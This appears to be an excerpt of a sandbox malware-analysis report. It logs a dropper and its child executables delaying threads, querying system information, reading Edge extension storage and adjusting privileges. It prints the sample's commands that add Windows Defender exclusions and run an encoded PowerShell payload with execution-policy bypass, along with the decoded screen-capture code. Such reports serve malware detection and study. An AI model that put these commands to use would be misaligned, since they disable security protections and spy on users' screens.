Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -586918s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -586798s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -586682s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -586568s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -586443s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -586323s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -586205s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -586088s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -585963s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -585845s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -585730s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -585616s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -585492s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -585374s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -585254s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 4320	Thread sleep time: -585133s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep count: 2297 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8516	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8056	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep count: 3287 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8536	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8388	Thread sleep count: 38 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 2004 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8532	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8128	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8332	Thread sleep count: 399 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8728	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8552	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8780	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8580	Thread sleep time: -922337203685477s >= -30000s
Source: C:\agentInto\fontsessionruntime.exe TID: 7796	Thread sleep count: 884 > 30
Source: C:\agentInto\fontsessionruntime.exe TID: 8488	Thread sleep count: 237 > 30
Source: C:\agentInto\fontsessionruntime.exe TID: 7732	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\agentInto\fontsessionruntime.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599735
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599607
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599435
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599299
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599130
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599000
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598889
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598767
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598641
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598507
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598297
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598125
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597922
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597672
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597507
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597339
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 597157
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596657
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596485
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596302
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596157
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 596000
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595868
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595749
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595579
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595450
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595265
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 595110
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594962
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594825
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594592
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594461
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594324
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594195
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 594072
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593891
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593742
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593563
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593368
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593211
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 593075
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592963
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592843
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592730
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592485
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592219
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 592094
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591975
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591853
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591708
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591579
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591454
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591311
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 591172
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590994
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590871
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590748
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590636
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590485
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590360
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 590234
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589922
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589791
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589641
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589509
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589384
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589262
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 589094
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588964
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588852
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588729
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588617
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588505
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588386
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588268
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588150
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 588021
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587880
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587753
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587630
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587509
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587393
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587275
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587168
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 587040
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586918
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586798
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586682
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586568
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586443
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586323
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586205
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 586088
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585963
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585845
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585730
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585616
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585492
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585374
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585254
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 585133
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\agentInto\fontsessionruntime.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\
Source: C:\Users\user\AppData\Local\Temp\Built.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\

Source: C:\Users\user\Desktop\QIjBj1l8We.exe	API call chain: ExitProcess graph end node	graph_0-13
Source: C:\Users\user\AppData\Local\Temp\x12.exe	API call chain: ExitProcess graph end node	graph_1-13
Source: C:\Users\user\AppData\Local\Temp\x11.exe	API call chain: ExitProcess graph end node	graph_2-13
Source: C:\Users\user\AppData\Local\Temp\x10.exe	API call chain: ExitProcess graph end node	graph_3-13
Source: C:\Users\user\AppData\Local\Temp\x9.exe	API call chain: ExitProcess graph end node	graph_4-13
Source: C:\Users\user\AppData\Local\Temp\x8.exe	API call chain: ExitProcess graph end node	graph_5-13
Source: C:\Users\user\AppData\Local\Temp\x7.exe	API call chain: ExitProcess graph end node	graph_6-13
Source: C:\Users\user\AppData\Local\Temp\x6.exe	API call chain: ExitProcess graph end node	graph_7-13
Source: C:\Users\user\AppData\Local\Temp\x5.exe	API call chain: ExitProcess graph end node	graph_8-13

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\QIjBj1l8We.exe

Code function: 0_2_00401AE1 GetCommandLineA,GetModuleHandleA,GetProcessHeap,ExitProcess,PathFindFileNameA,

0_2_00401AE1

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\agentInto\fontsessionruntime.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'"
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Built.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
